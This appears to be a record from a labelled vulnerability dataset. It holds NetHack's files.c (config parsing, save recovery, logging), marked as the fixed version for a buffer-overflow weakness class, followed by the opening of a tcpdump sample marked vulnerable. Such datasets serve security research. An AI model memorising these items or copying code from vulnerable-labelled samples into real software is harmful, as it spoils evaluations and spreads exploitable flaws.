parse_conf_file(fp, proc_symset_line); (void) fclose(fp); if (!chosen_symset_start && !chosen_symset_end) { /* name caller put in symset[which_set].name was not found; if it looks like "Default symbols", null it out and return success to use the default; otherwise, return failure */ if (symset[which_set].name && (fuzzymatch(symset[which_set].name, "Default symbols", " -_", TRUE) || !strcmpi(symset[which_set].name, "default"))) clear_symsetentry(which_set, TRUE); config_error_done(); /* If name was defined, it was invalid... Then we're loading fallback */ if (symset[which_set].name) { symset[which_set].explicitly = FALSE; return 0; } return 1; } if (!chosen_symset_end) config_error_add("Missing finish for symset \"%s\"", symset[which_set].name ? symset[which_set].name : "unknown"); config_error_done(); return 1; } boolean proc_symset_line(buf) char *buf; { return !((boolean) parse_sym_line(buf, symset_which_set)); } /* returns 0 on error */ int parse_sym_line(buf, which_set) char *buf; int which_set; { int val, i; struct symparse *symp; char *bufp, *commentp, *altp; if (strlen(buf) >= BUFSZ) buf[BUFSZ - 1] = '\0'; /* convert each instance of whitespace (tabs, consecutive spaces) into a single space; leading and trailing spaces are stripped */ mungspaces(buf); /* remove trailing comment, if any (this isn't strictly needed for individual symbols, and it won't matter if "X#comment" without separating space slips through; for handling or set description, symbol set creator is responsible for preceding '#' with a space and that comment itself doesn't contain " #") */ if ((commentp = rindex(buf, '#')) != 0 && commentp[-1] == ' ') commentp[-1] = '\0'; /* find the '=' or ':' */ bufp = index(buf, '='); altp = index(buf, ':'); if (!bufp || (altp && altp < bufp)) bufp = altp; if (!bufp) { if (strncmpi(buf, "finish", 6) == 0) { /* end current graphics set */ if (chosen_symset_start) chosen_symset_end = TRUE; chosen_symset_start = FALSE; return 1; } config_error_add("No \"finish\""); return 0; } /* skip '=' and space which follows, if any */ ++bufp; if (*bufp == ' ') ++bufp; symp = match_sym(buf); if (!symp) { config_error_add("Unknown sym keyword"); return 0; } if (!symset[which_set].name) { /* A null symset name indicates that we're just building a pick-list of possible symset values from the file, so only do that */ if (symp->range == SYM_CONTROL) { struct symsetentry *tmpsp, *lastsp; for (lastsp = symset_list; lastsp; lastsp = lastsp->next) if (!lastsp->next) break; switch (symp->idx) { case 0: tmpsp = (struct symsetentry *) alloc(sizeof *tmpsp); tmpsp->next = (struct symsetentry *) 0; if (!lastsp) symset_list = tmpsp; else lastsp->next = tmpsp; tmpsp->idx = symset_count++; tmpsp->name = dupstr(bufp); tmpsp->desc = (char *) 0; tmpsp->handling = H_UNK; /* initialize restriction bits */ tmpsp->nocolor = 0; tmpsp->primary = 0; tmpsp->rogue = 0; break; case 2: /* handler type identified */ tmpsp = lastsp; /* most recent symset */ for (i = 0; known_handling[i]; ++i) if (!strcmpi(known_handling[i], bufp)) { tmpsp->handling = i; break; /* for loop */ } break; case 3: /* description:something */ tmpsp = lastsp; /* most recent symset */ if (tmpsp && !tmpsp->desc) tmpsp->desc = dupstr(bufp); break; case 5: /* restrictions: xxxx*/ tmpsp = lastsp; /* most recent symset */ for (i = 0; known_restrictions[i]; ++i) { if (!strcmpi(known_restrictions[i], bufp)) { switch (i) { case 0: tmpsp->primary = 1; break; case 1: tmpsp->rogue = 1; break; } break; /* while loop */ } } break; } } return 1; } if (symp->range) { if (symp->range == SYM_CONTROL) { switch (symp->idx) { case 0: /* start of symset */ if (!strcmpi(bufp, symset[which_set].name)) { /* matches desired one */ chosen_symset_start = TRUE; /* these init_*() functions clear symset fields too */ if (which_set == ROGUESET) init_rogue_symbols(); else if (which_set == PRIMARY) init_primary_symbols(); } break; case 1: /* finish symset */ if (chosen_symset_start) chosen_symset_end = TRUE; chosen_symset_start = FALSE; break; case 2: /* handler type identified */ if (chosen_symset_start) set_symhandling(bufp, which_set); break; /* case 3: (description) is ignored here */ case 4: /* color:off */ if (chosen_symset_start) { if (bufp) { if (!strcmpi(bufp, "true") || !strcmpi(bufp, "yes") || !strcmpi(bufp, "on")) symset[which_set].nocolor = 0; else if (!strcmpi(bufp, "false") || !strcmpi(bufp, "no") || !strcmpi(bufp, "off")) symset[which_set].nocolor = 1; } } break; case 5: /* restrictions: xxxx*/ if (chosen_symset_start) { int n = 0; while (known_restrictions[n]) { if (!strcmpi(known_restrictions[n], bufp)) { switch (n) { case 0: symset[which_set].primary = 1; break; case 1: symset[which_set].rogue = 1; break; } break; /* while loop */ } n++; } } break; } } else { /* !SYM_CONTROL */ val = sym_val(bufp); if (chosen_symset_start) { if (which_set == PRIMARY) { update_primary_symset(symp, val); } else if (which_set == ROGUESET) { update_rogue_symset(symp, val); } } } } return 1; } STATIC_OVL void set_symhandling(handling, which_set) char *handling; int which_set; { int i = 0; symset[which_set].handling = H_UNK; while (known_handling[i]) { if (!strcmpi(known_handling[i], handling)) { symset[which_set].handling = i; return; } i++; } } /* ---------- END CONFIG FILE HANDLING ----------- */ /* ---------- BEGIN SCOREBOARD CREATION ----------- */ #ifdef OS2_CODEVIEW #define UNUSED_if_not_OS2_CODEVIEW /*empty*/ #else #define UNUSED_if_not_OS2_CODEVIEW UNUSED #endif /* verify that we can write to scoreboard file; if not, try to create one */ /*ARGUSED*/ void check_recordfile(dir) const char *dir UNUSED_if_not_OS2_CODEVIEW; { #if defined(PRAGMA_UNUSED) && !defined(OS2_CODEVIEW) #pragma unused(dir) #endif const char *fq_record; int fd; #if defined(UNIX) || defined(VMS) fq_record = fqname(RECORD, SCOREPREFIX, 0); fd = open(fq_record, O_RDWR, 0); if (fd >= 0) { #ifdef VMS /* must be stream-lf to use UPDATE_RECORD_IN_PLACE */ if (!file_is_stmlf(fd)) { raw_printf( "Warning: scoreboard file '%s' is not in stream_lf format", fq_record); wait_synch(); } #endif (void) nhclose(fd); /* RECORD is accessible */ } else if ((fd = open(fq_record, O_CREAT | O_RDWR, FCMASK)) >= 0) { (void) nhclose(fd); /* RECORD newly created */ #if defined(VMS) && !defined(SECURE) /* Re-protect RECORD with world:read+write+execute+delete access. */ (void) chmod(fq_record, FCMASK | 007); #endif /* VMS && !SECURE */ } else { raw_printf("Warning: cannot write scoreboard file '%s'", fq_record); wait_synch(); } #endif /* !UNIX && !VMS */ #if defined(MICRO) || defined(WIN32) char tmp[PATHLEN]; #ifdef OS2_CODEVIEW /* explicit path on opening for OS/2 */ /* how does this work when there isn't an explicit path or fopenp * for later access to the file via fopen_datafile? ? */ (void) strncpy(tmp, dir, PATHLEN - 1); tmp[PATHLEN - 1] = '\0'; if ((strlen(tmp) + 1 + strlen(RECORD)) < (PATHLEN - 1)) { append_slash(tmp); Strcat(tmp, RECORD); } fq_record = tmp; #else Strcpy(tmp, RECORD); fq_record = fqname(RECORD, SCOREPREFIX, 0); #endif #ifdef WIN32 /* If dir is NULL it indicates create but only if it doesn't already exist */ if (!dir) { char buf[BUFSZ]; buf[0] = '\0'; fd = open(fq_record, O_RDWR); if (!(fd == -1 && errno == ENOENT)) { if (fd >= 0) { (void) nhclose(fd); } else { /* explanation for failure other than missing file */ Sprintf(buf, "error \"%s\", (errno %d).", fq_record, errno); paniclog("scorefile", buf); } return; } Sprintf(buf, "missing \"%s\", creating new scorefile.", fq_record); paniclog("scorefile", buf); } #endif if ((fd = open(fq_record, O_RDWR)) < 0) { /* try to create empty 'record' */ #if defined(AZTEC_C) || defined(_DCC) \ || (defined(__GNUC__) && defined(__AMIGA__)) /* Aztec doesn't use the third argument */ /* DICE doesn't like it */ fd = open(fq_record, O_CREAT | O_RDWR); #else fd = open(fq_record, O_CREAT | O_RDWR, S_IREAD | S_IWRITE); #endif if (fd <= 0) { raw_printf("Warning: cannot write record '%s'", tmp); wait_synch(); } else { (void) nhclose(fd); } } else { /* open succeeded => 'record' exists */ (void) nhclose(fd); } #else /* MICRO || WIN32*/ #ifdef MAC /* Create the "record" file, if necessary */ fq_record = fqname(RECORD, SCOREPREFIX, 0); fd = macopen(fq_record, O_RDWR | O_CREAT, TEXT_TYPE); if (fd != -1) macclose(fd); #endif /* MAC */ #endif /* MICRO || WIN32*/ } /* ---------- END SCOREBOARD CREATION ----------- */ /* ---------- BEGIN PANIC/IMPOSSIBLE/TESTING LOG ----------- */ /*ARGSUSED*/ void paniclog(type, reason) const char *type; /* panic, impossible, trickery */ const char *reason; /* explanation */ { #ifdef PANICLOG FILE *lfile; char buf[BUFSZ]; if (!program_state.in_paniclog) { program_state.in_paniclog = 1; lfile = fopen_datafile(PANICLOG, "a", TROUBLEPREFIX); if (lfile) { #ifdef PANICLOG_FMT2 (void) fprintf(lfile, "%ld %s: %s %s\n", ubirthday, (plname ? plname : "(none)"), type, reason); #else time_t now = getnow(); int uid = getuid(); char playmode = wizard ? 'D' : discover ? 'X' : '-'; (void) fprintf(lfile, "%s %08ld %06ld %d %c: %s %s\n", version_string(buf), yyyymmdd(now), hhmmss(now), uid, playmode, type, reason); #endif /* !PANICLOG_FMT2 */ (void) fclose(lfile); } program_state.in_paniclog = 0; } #endif /* PANICLOG */ return; } void testinglog(filenm, type, reason) const char *filenm; /* ad hoc file name */ const char *type; const char *reason; /* explanation */ { FILE *lfile; char fnbuf[BUFSZ]; if (!filenm) return; Strcpy(fnbuf, filenm); if (index(fnbuf, '.') == 0) Strcat(fnbuf, ".log"); lfile = fopen_datafile(fnbuf, "a", TROUBLEPREFIX); if (lfile) { (void) fprintf(lfile, "%s\n%s\n", type, reason); (void) fclose(lfile); } return; } /* ---------- END PANIC/IMPOSSIBLE/TESTING LOG ----------- */ #ifdef SELF_RECOVER /* ---------- BEGIN INTERNAL RECOVER ----------- */ boolean recover_savefile() { int gfd, lfd, sfd; int lev, savelev, hpid, pltmpsiz; xchar levc; struct version_info version_data; int processed[256]; char savename[SAVESIZE], errbuf[BUFSZ]; struct savefile_info sfi; char tmpplbuf[PL_NSIZ]; for (lev = 0; lev < 256; lev++) processed[lev] = 0; /* level 0 file contains: * pid of creating process (ignored here) * level number for current level of save file * name of save file nethack would have created * savefile info * player name * and game state */ gfd = open_levelfile(0, errbuf); if (gfd < 0) { raw_printf("%s\n", errbuf); return FALSE; } if (read(gfd, (genericptr_t) &hpid, sizeof hpid) != sizeof hpid) { raw_printf("\n%s\n%s\n", "Checkpoint data incompletely written or subsequently clobbered.", "Recovery impossible."); (void) nhclose(gfd); return FALSE; } if (read(gfd, (genericptr_t) &savelev, sizeof(savelev)) != sizeof(savelev)) { raw_printf( "\nCheckpointing was not in effect for %s -- recovery impossible.\n", lock); (void) nhclose(gfd); return FALSE; } if ((read(gfd, (genericptr_t) savename, sizeof savename) != sizeof savename) || (read(gfd, (genericptr_t) &version_data, sizeof version_data) != sizeof version_data) || (read(gfd, (genericptr_t) &sfi, sizeof sfi) != sizeof sfi) || (read(gfd, (genericptr_t) &pltmpsiz, sizeof pltmpsiz) != sizeof pltmpsiz) || (pltmpsiz > PL_NSIZ) || (read(gfd, (genericptr_t) &tmpplbuf, pltmpsiz) != pltmpsiz)) { raw_printf("\nError reading %s -- can't recover.\n", lock); (void) nhclose(gfd); return FALSE; } /* save file should contain: * version info * savefile info * player name * current level (including pets) * (non-level-based) game state * other levels */ set_savefile_name(TRUE); sfd = create_savefile(); if (sfd < 0) { raw_printf("\nCannot recover savefile %s.\n", SAVEF); (void) nhclose(gfd); return FALSE; } lfd = open_levelfile(savelev, errbuf); if (lfd < 0) { raw_printf("\n%s\n", errbuf); (void) nhclose(gfd); (void) nhclose(sfd); delete_savefile(); return FALSE; } if (write(sfd, (genericptr_t) &version_data, sizeof version_data) != sizeof version_data) { raw_printf("\nError writing %s; recovery failed.", SAVEF); (void) nhclose(gfd); (void) nhclose(sfd); (void) nhclose(lfd); delete_savefile(); return FALSE; } if (write(sfd, (genericptr_t) &sfi, sizeof sfi) != sizeof sfi) { raw_printf("\nError writing %s; recovery failed (savefile_info).\n", SAVEF); (void) nhclose(gfd); (void) nhclose(sfd); (void) nhclose(lfd); delete_savefile(); return FALSE; } if (write(sfd, (genericptr_t) &pltmpsiz, sizeof pltmpsiz) != sizeof pltmpsiz) { raw_printf("Error writing %s; recovery failed (player name size).\n", SAVEF); (void) nhclose(gfd); (void) nhclose(sfd); (void) nhclose(lfd); delete_savefile(); return FALSE; } if (write(sfd, (genericptr_t) &tmpplbuf, pltmpsiz) != pltmpsiz) { raw_printf("Error writing %s; recovery failed (player name).\n", SAVEF); (void) nhclose(gfd); (void) nhclose(sfd); (void) nhclose(lfd); delete_savefile(); return FALSE; } if (!copy_bytes(lfd, sfd)) { (void) nhclose(gfd); (void) nhclose(sfd); (void) nhclose(lfd); delete_savefile(); return FALSE; } (void) nhclose(lfd); processed[savelev] = 1; if (!copy_bytes(gfd, sfd)) { (void) nhclose(gfd); (void) nhclose(sfd); delete_savefile(); return FALSE; } (void) nhclose(gfd); processed[0] = 1; for (lev = 1; lev < 256; lev++) { /* level numbers are kept in xchars in save.c, so the * maximum level number (for the endlevel) must be < 256 */ if (lev != savelev) { lfd = open_levelfile(lev, (char *) 0); if (lfd >= 0) { /* any or all of these may not exist */ levc = (xchar) lev; write(sfd, (genericptr_t) &levc, sizeof(levc)); if (!copy_bytes(lfd, sfd)) { (void) nhclose(lfd); (void) nhclose(sfd); delete_savefile(); return FALSE; } (void) nhclose(lfd); processed[lev] = 1; } } } (void) nhclose(sfd); #ifdef HOLD_LOCKFILE_OPEN really_close(); #endif /* * We have a successful savefile! * Only now do we erase the level files. */ for (lev = 0; lev < 256; lev++) { if (processed[lev]) { const char *fq_lock; set_levelfile_name(lock, lev); fq_lock = fqname(lock, LEVELPREFIX, 3); (void) unlink(fq_lock); } } return TRUE; } boolean copy_bytes(ifd, ofd) int ifd, ofd; { char buf[BUFSIZ]; int nfrom, nto; do { nfrom = read(ifd, buf, BUFSIZ); nto = write(ofd, buf, nfrom); if (nto != nfrom) return FALSE; } while (nfrom == BUFSIZ); return TRUE; } /* ---------- END INTERNAL RECOVER ----------- */ #endif /*SELF_RECOVER*/ /* ---------- OTHER ----------- */ #ifdef SYSCF #ifdef SYSCF_FILE void assure_syscf_file() { int fd; #ifdef WIN32 /* We are checking that the sysconf exists ... lock the path */ fqn_prefix_locked[SYSCONFPREFIX] = TRUE; #endif /* * All we really care about is the end result - can we read the file? * So just check that directly. * * Not tested on most of the old platforms (which don't attempt * to implement SYSCF). * Some ports don't like open()'s optional third argument; * VMS overrides open() usage with a macro which requires it. */ #ifndef VMS # if defined(NOCWD_ASSUMPTIONS) && defined(WIN32) fd = open(fqname(SYSCF_FILE, SYSCONFPREFIX, 0), O_RDONLY); # else fd = open(SYSCF_FILE, O_RDONLY); # endif #else fd = open(SYSCF_FILE, O_RDONLY, 0); #endif if (fd >= 0) { /* readable */ close(fd); return; } raw_printf("Unable to open SYSCF_FILE.\n"); exit(EXIT_FAILURE); } #endif /* SYSCF_FILE */ #endif /* SYSCF */ #ifdef DEBUG /* used by debugpline() to decide whether to issue a message * from a particular source file; caller passes __FILE__ and we check * whether it is in the source file list supplied by SYSCF's DEBUGFILES * * pass FALSE to override wildcard matching; useful for files * like dungeon.c and questpgr.c, which generate a ridiculous amount of * output if DEBUG is defined and effectively block the use of a wildcard */ boolean debugcore(filename, wildcards) const char *filename; boolean wildcards; { const char *debugfiles, *p; if (!filename || !*filename) return FALSE; /* sanity precaution */ if (sysopt.env_dbgfl == 0) { /* check once for DEBUGFILES in the environment; if found, it supersedes the sysconf value [note: getenv() rather than nh_getenv() since a long value is valid and doesn't pose any sort of overflow risk here] */ if ((p = getenv("DEBUGFILES")) != 0) { if (sysopt.debugfiles) free((genericptr_t) sysopt.debugfiles); sysopt.debugfiles = dupstr(p); sysopt.env_dbgfl = 1; } else sysopt.env_dbgfl = -1; } debugfiles = sysopt.debugfiles; /* usual case: sysopt.debugfiles will be empty */ if (!debugfiles || !*debugfiles) return FALSE; /* strip filename's path if present */ #ifdef UNIX if ((p = rindex(filename, '/')) != 0) filename = p + 1; #endif #ifdef VMS filename = vms_basename(filename); /* vms_basename strips off 'type' suffix as well as path and version; we want to put suffix back (".c" assumed); since it always returns a pointer to a static buffer, we can safely modify its result */ Strcat((char *) filename, ".c"); #endif /* * Wildcard match will only work if there's a single pattern (which * might be a single file name without any wildcarding) rather than * a space-separated list. * [to NOT do: We could step through the space-separated list and * attempt a wildcard match against each element, but that would be * overkill for the intended usage.] */ if (wildcards && pmatch(debugfiles, filename)) return TRUE; /* check whether filename is an element of the list */ if ((p = strstr(debugfiles, filename)) != 0) { int l = (int) strlen(filename); if ((p == debugfiles || p[-1] == ' ' || p[-1] == '/') && (p[l] == ' ' || p[l] == '\0')) return TRUE; } return FALSE; } #endif /*DEBUG*/ #ifdef UNIX #ifndef PATH_MAX #include <limits.h> #endif #endif void reveal_paths(VOID_ARGS) { const char *fqn, *nodumpreason; char buf[BUFSZ]; #if defined(SYSCF) || !defined(UNIX) || defined(DLB) const char *filep; #ifdef SYSCF const char *gamename = (hname && *hname) ? hname : "NetHack"; #endif #endif #ifdef UNIX char *endp, *envp, cwdbuf[PATH_MAX]; #endif #ifdef PREFIXES_IN_USE const char *strp; int i, maxlen = 0; raw_print("Variable playground locations:"); for (i = 0; i < PREFIX_COUNT; i++) raw_printf(" [%-10s]=\"%s\"", fqn_prefix_names[i], fqn_prefix[i] ? fqn_prefix[i] : "not set"); #endif /* sysconf file */ #ifdef SYSCF #ifdef PREFIXES_IN_USE strp = fqn_prefix_names[SYSCONFPREFIX]; maxlen = BUFSZ - sizeof " (in )"; if (strp && (int) strlen(strp) < maxlen) Sprintf(buf, " (in %s)", strp); #else buf[0] = '\0'; #endif raw_printf("%s system configuration file%s:", s_suffix(gamename), buf); #ifdef SYSCF_FILE filep = SYSCF_FILE; #else filep = "sysconf"; #endif fqn = fqname(filep, SYSCONFPREFIX, 0); if (fqn) { set_configfile_name(fqn); filep = configfile; } raw_printf(" \"%s\"", filep); #else /* !SYSCF */ raw_printf("No system configuration file."); #endif /* ?SYSCF */ /* symbols file */ buf[0] = '\0'; #ifndef UNIX #ifdef PREFIXES_IN_USE #ifdef WIN32 strp = fqn_prefix_names[SYSCONFPREFIX]; #else strp = fqn_prefix_names[HACKPREFIX]; #endif /* WIN32 */ maxlen = BUFSZ - sizeof " (in )"; if (strp && (int) strlen(strp) < maxlen) Sprintf(buf, " (in %s)", strp); #endif /* PREFIXES_IN_USE */ raw_printf("The loadable symbols file%s:", buf); #endif /* UNIX */ #ifdef UNIX envp = getcwd(cwdbuf, PATH_MAX); if (envp) { raw_print("The loadable symbols file:"); raw_printf(" \"%s/%s\"", envp, SYMBOLS); } #else /* UNIX */ filep = SYMBOLS; #ifdef PREFIXES_IN_USE #ifdef WIN32 fqn = fqname(filep, SYSCONFPREFIX, 1); #else fqn = fqname(filep, HACKPREFIX, 1); #endif /* WIN32 */ if (fqn) filep = fqn; #endif /* PREFIXES_IN_USE */ raw_printf(" \"%s\"", filep); #endif /* UNIX */ /* dlb vs non-dlb */ buf[0] = '\0'; #ifdef PREFIXES_IN_USE strp = fqn_prefix_names[DATAPREFIX]; maxlen = BUFSZ - sizeof " (in )"; if (strp && (int) strlen(strp) < maxlen) Sprintf(buf, " (in %s)", strp); #endif #ifdef DLB raw_printf("Basic data files%s are collected inside:", buf); filep = DLBFILE; #ifdef VERSION_IN_DLB_FILENAME Strcpy(buf, build_dlb_filename((const char *) 0)); #ifdef PREFIXES_IN_USE fqn = fqname(buf, DATAPREFIX, 1); if (fqn) filep = fqn; #endif /* PREFIXES_IN_USE */ #endif raw_printf(" \"%s\"", filep); #ifdef DLBFILE2 filep = DLBFILE2; raw_printf(" \"%s\"", filep); #endif #else /* !DLB */ raw_printf("Basic data files%s are in many separate files.", buf); #endif /* ?DLB */ /* dumplog */ #ifndef DUMPLOG nodumpreason = "not supported"; #else nodumpreason = "disabled"; #ifdef SYSCF fqn = sysopt.dumplogfile; #else /* !SYSCF */ #ifdef DUMPLOG_FILE fqn = DUMPLOG_FILE; #else fqn = (char *) 0; #endif #endif /* ?SYSCF */ if (fqn && *fqn) { raw_print("Your end-of-game disclosure file:"); (void) dump_fmtstr(fqn, buf, FALSE); buf[sizeof buf - sizeof " \"\""] = '\0'; raw_printf(" \"%s\"", buf); } else #endif /* ?DUMPLOG */ raw_printf("No end-of-game disclosure file (%s).", nodumpreason); #ifdef WIN32 if (sysopt.portable_device_top) { const char *pd = get_portable_device(); raw_printf("Writable folder for portable device config (sysconf %s):", "portable_device_top"); raw_printf(" \"%s\"", pd); } #endif /* personal configuration file */ buf[0] = '\0'; #ifdef PREFIXES_IN_USE strp = fqn_prefix_names[CONFIGPREFIX]; maxlen = BUFSZ - sizeof " (in )"; if (strp && (int) strlen(strp) < maxlen) Sprintf(buf, " (in %s)", strp); #endif /* PREFIXES_IN_USE */ raw_printf("Your personal configuration file%s:", buf); #ifdef UNIX buf[0] = '\0'; if ((envp = nh_getenv("HOME")) != 0) { copynchars(buf, envp, (int) sizeof buf - 1 - 1); Strcat(buf, "/"); } endp = eos(buf); copynchars(endp, default_configfile, (int) (sizeof buf - 1 - strlen(buf))); #if defined(__APPLE__) /* UNIX+__APPLE__ => MacOSX aka OSX aka macOS */ if (envp) { if (access(buf, 4) == -1) { /* 4: R_OK, -1: failure */ /* read access to default failed; might be protected excessively but more likely it doesn't exist; try first alternate: "$HOME/Library/Pref..."; 'endp' points past '/' */ copynchars(endp, "Library/Preferences/NetHack Defaults", (int) (sizeof buf - 1 - strlen(buf))); if (access(buf, 4) == -1) { /* first alternate failed, try second: ".../NetHack Defaults.txt"; no 'endp', just append */ copynchars(eos(buf), ".txt", (int) (sizeof buf - 1 - strlen(buf))); if (access(buf, 4) == -1) { /* second alternate failed too, so revert to the original default ("$HOME/.nethackrc") for message */ copynchars(endp, default_configfile, (int) (sizeof buf - 1 - strlen(buf))); } } } } #endif /* __APPLE__ */ raw_printf(" \"%s\"", buf); #else /* !UNIX */ fqn = (const char *) 0; #ifdef PREFIXES_IN_USE fqn = fqname(default_configfile, CONFIGPREFIX, 2); #endif raw_printf(" \"%s\"", fqn ? fqn : default_configfile); #endif /* ?UNIX */ raw_print(""); } /* ---------- BEGIN TRIBUTE ----------- */ /* 3.6 tribute code */ #define SECTIONSCOPE 1 #define TITLESCOPE 2 #define PASSAGESCOPE 3 #define MAXPASSAGES SIZE(context.novel.pasg) /* 20 */ static int FDECL(choose_passage, (int, unsigned)); /* choose a random passage that hasn't been chosen yet; once all have been chosen, reset the tracking to make all passages available again */ static int choose_passage(passagecnt, oid) int passagecnt; /* total of available passages */ unsigned oid; /* book.o_id, used to determine whether re-reading same book */ { int idx, res; if (passagecnt < 1) return 0; /* if a different book or we've used up all the passages already, reset in order to have all 'passagecnt' passages available */ if (oid != context.novel.id || context.novel.count == 0) { int i, range = passagecnt, limit = MAXPASSAGES; context.novel.id = oid; if (range <= limit) { /* collect all of the N indices */ context.novel.count = passagecnt; for (idx = 0; idx < MAXPASSAGES; idx++) context.novel.pasg[idx] = (xchar) ((idx < passagecnt) ? idx + 1 : 0); } else { /* collect MAXPASSAGES of the N indices */ context.novel.count = MAXPASSAGES; for (idx = i = 0; i < passagecnt; ++i, --range) if (range > 0 && rn2(range) < limit) { context.novel.pasg[idx++] = (xchar) (i + 1); --limit; } } } idx = rn2(context.novel.count); res = (int) context.novel.pasg[idx]; /* move the last slot's passage index into the slot just used and reduce the number of passages available */ context.novel.pasg[idx] = context.novel.pasg[--context.novel.count]; return res; } /* Returns True if you were able to read something. */ boolean read_tribute(tribsection, tribtitle, tribpassage, nowin_buf, bufsz, oid) const char *tribsection, *tribtitle; int tribpassage, bufsz; char *nowin_buf; unsigned oid; /* book identifier */ { dlb *fp; char line[BUFSZ], lastline[BUFSZ]; int scope = 0; int linect = 0, passagecnt = 0, targetpassage = 0; const char *badtranslation = "an incomprehensible foreign translation"; boolean matchedsection = FALSE, matchedtitle = FALSE; winid tribwin = WIN_ERR; boolean grasped = FALSE; boolean foundpassage = FALSE; if (nowin_buf) *nowin_buf = '\0'; /* check for mandatories */ if (!tribsection || !tribtitle) { if (!nowin_buf) pline("It's %s of \"%s\"!", badtranslation, tribtitle); return grasped; } debugpline3("read_tribute %s, %s, %d.", tribsection, tribtitle, tribpassage); fp = dlb_fopen(TRIBUTEFILE, "r"); if (!fp) { /* this is actually an error - cannot open tribute file! */ if (!nowin_buf) pline("You feel too overwhelmed to continue!"); return grasped; } /* * Syntax (not case-sensitive): * %section books * * In the books section: * %title booktitle (n) * where booktitle=book title without quotes * (n)= total number of passages present for this title * %passage k * where k=sequential passage number * * %e ends the passage/book/section * If in a passage, it marks the end of that passage. * If in a book, it marks the end of that book. * If in a section, it marks the end of that section. * * %section death */ *line = *lastline = '\0'; while (dlb_fgets(line, sizeof line, fp) != 0) { linect++; (void) strip_newline(line); switch (line[0]) { case '%': if (!strncmpi(&line[1], "section ", sizeof "section " - 1)) { char *st = &line[9]; /* 9 from "%section " */ scope = SECTIONSCOPE; matchedsection = !strcmpi(st, tribsection) ? TRUE : FALSE; } else if (!strncmpi(&line[1], "title ", sizeof "title " - 1)) { char *st = &line[7]; /* 7 from "%title " */ char *p1, *p2; if ((p1 = index(st, '(')) != 0) { *p1++ = '\0'; (void) mungspaces(st); if ((p2 = index(p1, ')')) != 0) { *p2 = '\0'; passagecnt = atoi(p1); scope = TITLESCOPE; if (matchedsection && !strcmpi(st, tribtitle)) { matchedtitle = TRUE; targetpassage = !tribpassage ? choose_passage(passagecnt, oid) : (tribpassage <= passagecnt) ? tribpassage : 0; } else { matchedtitle = FALSE; } } } } else if (!strncmpi(&line[1], "passage ", sizeof "passage " - 1)) { int passagenum = 0; char *st = &line[9]; /* 9 from "%passage " */ mungspaces(st); passagenum = atoi(st); if (passagenum > 0 && passagenum <= passagecnt) { scope = PASSAGESCOPE; if (matchedtitle && passagenum == targetpassage) { foundpassage = TRUE; if (!nowin_buf) { tribwin = create_nhwindow(NHW_MENU); if (tribwin == WIN_ERR) goto cleanup; } } } } else if (!strncmpi(&line[1], "e ", sizeof "e " - 1)) { if (foundpassage) goto cleanup; if (scope == TITLESCOPE) matchedtitle = FALSE; if (scope == SECTIONSCOPE) matchedsection = FALSE; if (scope) --scope; } else { debugpline1("tribute file error: bad %% command, line %d.", linect); } break; case '#': /* comment only, next! */ break; default: if (foundpassage) { if (!nowin_buf) { /* outputting multi-line passage to text window */ putstr(tribwin, 0, line); if (*line) Strcpy(lastline, line); } else { /* fetching one-line passage into buffer */ copynchars(nowin_buf, line, bufsz - 1); goto cleanup; /* don't wait for "%e passage" */ } } } } cleanup: (void) dlb_fclose(fp); if (nowin_buf) { /* one-line buffer */ grasped = *nowin_buf ? TRUE : FALSE; } else { if (tribwin != WIN_ERR) { /* implies 'foundpassage' */ /* multi-line window, normal case; if lastline is empty, there were no non-empty lines between "%passage n" and "%e passage" so we leave 'grasped' False */ if (*lastline) { display_nhwindow(tribwin, FALSE); /* put the final attribution line into message history, analogous to the summary line from long quest messages */ if (index(lastline, '[')) mungspaces(lastline); /* to remove leading spaces */ else /* construct one if necessary */ Sprintf(lastline, "[%s, by Terry Pratchett]", tribtitle); putmsghistory(lastline, FALSE); grasped = TRUE; } destroy_nhwindow(tribwin); } if (!grasped) /* multi-line window, problem */ pline("It seems to be %s of \"%s\"!", badtranslation, tribtitle); } return grasped; } boolean Death_quote(buf, bufsz) char *buf; int bufsz; { unsigned death_oid = 1; /* chance of oid #1 being a novel is negligible */ return read_tribute("Death", "Death Quotes", 0, buf, bufsz, death_oid); } /* ---------- END TRIBUTE ----------- */ /*files.c*/
./CrossVul/dataset_final_sorted/CWE-120/c/good_1322_1
crossvul-cpp_data_bad_287_0
/* * Copyright (c) 1988, 1989, 1990, 1991, 1992, 1993, 1994, 1995, 1996, 1997, 2000 * The Regents of the University of California. All rights reserved. * * Redistribution and use in source and binary forms, with or without * modification, are permitted provided that: (1) source code distributions * retain the above copyright notice and this paragraph in its entirety, (2) * distributions including binary code include the above copyright notice and * this paragraph in its entirety in the documentation or other materials * provided with the distribution, and (3) all advertising materials mentioning * features or use of this software display the following acknowledgement: * ``This product includes software developed by the University of California, * Lawrence Berkeley Laboratory and its contributors.'' Neither the name of * the University nor the names of its contributors may be used to endorse * or promote products derived from this software without specific prior * written permission. * THIS SOFTWARE IS PROVIDED ``AS IS'' AND WITHOUT ANY EXPRESS OR IMPLIED * WARRANTIES, INCLUDING, WITHOUT LIMITATION, THE IMPLIED WARRANTIES OF * MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. * * Support for splitting captures into multiple files with a maximum * file size: * * Copyright (c) 2001 * Seth Webster <swebster@sst.ll.mit.edu> */ #ifndef lint static const char copyright[] _U_ = "@(#) Copyright (c) 1988, 1989, 1990, 1991, 1992, 1993, 1994, 1995, 1996, 1997, 2000\n\ The Regents of the University of California. All rights reserved.\n"; #endif /* * tcpdump - dump traffic on a network * * First written in 1987 by Van Jacobson, Lawrence Berkeley Laboratory. * Mercilessly hacked and occasionally improved since then via the * combined efforts of Van, Steve McCanne and Craig Leres of LBL. */ #ifdef HAVE_CONFIG_H #include "config.h" #endif /* * Mac OS X may ship pcap.h from libpcap 0.6 with a libpcap based on * 0.8. That means it has pcap_findalldevs() but the header doesn't * define pcap_if_t, meaning that we can't actually *use* pcap_findalldevs(). */ #ifdef HAVE_PCAP_FINDALLDEVS #ifndef HAVE_PCAP_IF_T #undef HAVE_PCAP_FINDALLDEVS #endif #endif #include <netdissect-stdinc.h> #include <sys/stat.h> #ifdef HAVE_FCNTL_H #include <fcntl.h> #endif #ifdef HAVE_LIBCRYPTO #include <openssl/crypto.h> #endif #ifdef HAVE_GETOPT_LONG #include <getopt.h> #else #include "getopt_long.h" #endif /* Capsicum-specific code requires macros from <net/bpf.h>, which will fail * to compile if <pcap.h> has already been included; including the headers * in the opposite order works fine. */ #ifdef HAVE_CAPSICUM #include <sys/capability.h> #include <sys/ioccom.h> #include <net/bpf.h> #include <libgen.h> #endif 